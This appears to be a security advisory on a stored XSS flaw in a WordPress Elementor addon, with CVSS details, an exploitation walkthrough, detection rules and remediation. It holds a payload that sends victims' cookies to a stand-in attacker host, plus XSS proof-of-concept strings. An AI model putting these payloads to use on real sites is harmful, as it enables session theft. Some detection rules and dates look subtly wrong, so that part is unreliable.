CVE-2024-3639

Executive Summary

CVE-2024-3639 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin. The flaw resides in the grid_skin attribute of the Posts Grid widget, affecting all versions up to and including 8.3.7. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further privilege escalation.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin is widely used, making this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users must verify the integrity of their plugin installations and ensure they are not using compromised versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for chaining with other vulnerabilities (e.g., privilege escalation) elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the Posts Grid widget provided by the Livemesh Elementor Addons plugin. The widget allows users to display posts in a grid layout with various skin options. The grid_skin attribute is used to select the visual style of the grid.

Root Cause: The plugin fails to properly sanitize and escape the grid_skin attribute before rendering it in the HTML output. An attacker with contributor-level access can craft a malicious value for grid_skin containing JavaScript code. When the page is rendered, the injected script is stored in the database and executed in the context of any user viewing the page.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a page/post using the Elementor builder.
3. Attacker adds the Posts Grid widget and sets the grid_skin attribute to a malicious payload, e.g., "><script>alert('XSS')</script>.
4. The payload is stored in the WordPress database.
5. When an administrator or other user visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 8.3.7): The vulnerable code likely resides in the widget's render method where grid_skin is output without escaping.

// Vulnerable: Direct output without escaping
echo '<div class="grid-skin-' . $settings['grid_skin'] . '">';

Patched Code (hypothetical): A proper fix would escape the attribute using WordPress's built-in functions.

// Patched: Escaped output
echo '<div class="grid-skin-' . esc_attr($settings['grid_skin']) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Elementor Addons by Livemesh <= 8.3.7
• Contributor-level account or higher

Exploit Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Search for "Posts Grid" widget and drag it to the page.
5. In the widget settings, locate the grid_skin field.
6. Inject a payload such as:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

7. Publish or update the page.
8. Wait for an administrator to visit the page, or send them a link.

Proof of Concept (PoC):

<!-- Payload for grid_skin field -->
"><img src=x onerror=alert('XSS')>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual values in the grid_skin field in the wp_postmeta table.
• Look for Elementor widget settings containing script tags or event handlers.

Hardening:

• Apply the principle of least privilege: restrict contributor-level access.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/addons-for-elementor/ (check for modified files)
• Database: Suspicious entries in wp_postmeta where meta_key contains grid_skin and meta_value includes <script> or event handlers.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Elementor builder logs showing unusual widget settings.

Detection Engineering

YARA Rule

rule CVE_2024_3639_Stored_XSS {
    meta:
        description = "Detects malicious grid_skin values in Livemesh Elementor Addons"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3639"
    strings:
        $payload1 = /grid_skin["']?\s*[:=]\s*["'][^"']*<script/i
        $payload2 = /grid_skin["']?\s*[:=]\s*["'][^"']*onerror/i
        $payload3 = /grid_skin["']?\s*[:=]\s*["'][^"']*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3639 Stored XSS in Livemesh Elementor Addons
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via grid_skin attribute in Livemesh Elementor Addons
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: '*grid_skin*'
        http.body: '*/<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3639 Stored XSS in Livemesh Elementor Addons";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"grid_skin"; http_client_body;
    pcre:"/<script|onerror|onload>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-3639;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version if a patch is released. As of this report, no patch is available.
2. Disable the plugin if it is not critical to operations.
3. Restrict contributor-level accounts to trusted users only.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Regularly audit WordPress plugins for vulnerabilities.
• Enforce Content Security Policy (CSP) headers to limit script execution.
• Monitor WordPress logs for suspicious activity.

Workaround:

• Use a security plugin (e.g., Wordfence) to block malicious input.
• Manually sanitize the grid_skin field via a custom function in the theme's functions.php:

add_filter('elementor/widget/render_content', function($content, $widget) {
    if ($widget->get_name() === 'posts-grid') {
        $settings = $widget->get_settings();
        $settings['grid_skin'] = sanitize_text_field($settings['grid_skin']);
        $widget->set_settings($settings);
    }
    return $content;
}, 10, 2);

Valters IT
Securing Digital Frontiers